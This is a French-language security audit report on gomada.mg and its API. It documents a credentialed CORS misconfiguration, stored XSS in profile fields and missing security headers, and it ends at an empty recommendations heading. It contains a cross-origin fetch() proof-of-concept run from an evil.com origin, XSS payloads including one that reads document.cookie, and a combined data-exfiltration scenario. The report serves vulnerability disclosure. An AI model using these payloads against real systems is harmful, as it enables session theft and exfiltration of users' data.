Rapport d'Audit de Securite - gomada.mg

Cible : gomada.mg / api.gomada.mg
Type : Application web Angular + API Node.js
Date : Fevrier 2026

1. Resume des vulnerabilites

Vulnerabilite Severite Impact
CORS Misconfiguration CRITIQUE Vol de session, exfiltration de donnees
Stored XSS (champs profil) HAUTE Injection HTML/JS dans 5 champs profil
Headers de securite manquants MOYENNE Pas de CSP, X-Content-Type-Options, X-Frame-Options

2. CORS Misconfiguration (Critique)

L'API api.gomada.mg reflete n'importe quel header Origin dans sa reponse Access-Control-Allow-Origin, avec Access-Control-Allow-Credentials: true.

Cela signifie qu'un site malveillant peut faire des requetes authentifiees vers l'API au nom de l'utilisateur connecte, et lire les reponses.

Demonstration

// Requete depuis un site attaquant fetch('https://api.gomada.mg/api/user/profile', { credentials: 'include' // envoie les cookies }) .then(r => r.json()) .then(data => { // L'attaquant a acces au profil complet console.log(data.mail, data.firstName); });
Reponse du serveur :
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Le serveur accepte n'importe quelle origine, meme malveillante.

Preuve - Headers observes

Origin envoye: https://evil.com ACAO recu: https://evil.com (reflete!) ACAC recu: true Origin envoye: https://gomada.mg.evil.com ACAO recu: https://gomada.mg.evil.com (reflete!) ACAC recu: true Origin envoye: null ACAO recu: null (reflete!) ACAC recu: true

3. Stored XSS (Haute)

Le backend ne sanitize pas les champs du profil utilisateur. Les champs suivants acceptent du HTML/JavaScript :

Demonstration

PATCH /api/user/profile Content-Type: application/json { "firstName": "<img src=x onerror=alert(1)>", "lastName": "<script>alert(document.cookie)</script>" }
Note : Angular sanitize le rendu cote frontend (text interpolation), donc le XSS ne s'execute pas dans le navigateur Angular. Cependant, le payload est stocke tel quel dans la base de donnees MongoDB, ce qui reste dangereux si les donnees sont affichees dans un autre contexte (email, export, API directe).

4. Headers de securite manquants

Content-Security-Policy: MANQUANT X-Content-Type-Options: MANQUANT X-Frame-Options: MANQUANT X-XSS-Protection: MANQUANT Strict-Transport-Security: MANQUANT

L'absence de ces headers facilite les attaques de type clickjacking, MIME sniffing, et ne fournit aucune couche de defense supplementaire.

5. Scenario d'attaque combine

En combinant la misconfiguration CORS avec le XSS stocke :

  1. L'attaquant injecte du JS dans son profil (stored XSS)
  2. L'attaquant heberge une page web malveillante
  3. La victime (admin) visite cette page en etant connectee a gomada.mg
  4. La page exploite le CORS pour voler les donnees de la victime
  5. Profil, conversations, reservations : tout est exfiltre

6. Recommandations